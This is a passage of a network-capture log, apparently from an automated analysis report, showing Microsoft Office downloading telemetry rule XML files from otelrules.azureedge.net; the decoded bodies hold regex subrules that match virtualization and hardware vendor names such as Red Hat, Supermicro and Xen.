73	192.168.2.7	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:49 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:50 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:50 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6fd3b960-801e-00ac-6c64-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000250Z-178bfbc474b9fdhphC1NYCac0n000000022000000000kr2z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:50 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:50 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:50 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:50 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 93d7ba64-801e-002a-7fce-3b31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000250Z-15b8b599d882l6clhC1TEBxd5c00000000hg0000000053w3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:50 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:51 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:52 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:52 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 00606c4f-d01e-0014-08c3-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000252Z-15b8b599d88cn5thhC1TEBqxkn00000000n00000000035r1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:52 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:51 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:52 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:52 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e2b7c591-f01e-003f-257e-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000252Z-174c587ffdfcb7qhhC1TEB3x7000000000p000000000rprz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:52 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:52 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:52 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:52 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 925146da-101e-0034-3f87-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000252Z-174c587ffdfmlsmvhC1TEBvyks00000000r000000000skxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:52 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:52 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:52 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:52 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: ba159eff-a01e-000d-0e45-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000252Z-178bfbc474bnwsh4hC1NYC2ubs00000002a000000000689c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:52 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:52 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:52 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:52 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 3d26e0c5-e01e-0020-6638-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000252Z-178bfbc474bv587zhC1NYCny5w000000025g0000000002s9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:52 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:54 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:54 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:54 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dd6dc7e9-901e-008f-3238-3c67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000254Z-15b8b599d88g5tp8hC1TEByx6w00000000kg00000000bvpa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:54 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:54 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:54 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:54 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: d5b120ed-d01e-0017-3f65-3bb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000254Z-178bfbc474b9xljthC1NYCtw94000000020000000000tna0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:54 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:54 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:54 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:54 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000254Z-174c587ffdfl22mzhC1TEBk40c00000000tg00000000dcby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:54 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:54 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:54 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:54 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: c8277487-201e-0051-68a5-3b7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000254Z-15b8b599d88tr2flhC1TEB5gk400000000q000000000p0g0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:54 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:54 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:54 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:54 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 6f884587-b01e-0001-3155-3c46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000254Z-15b8b599d88tr2flhC1TEB5gk400000000w0000000001w4m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:54 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49794	13.107.246.63	443

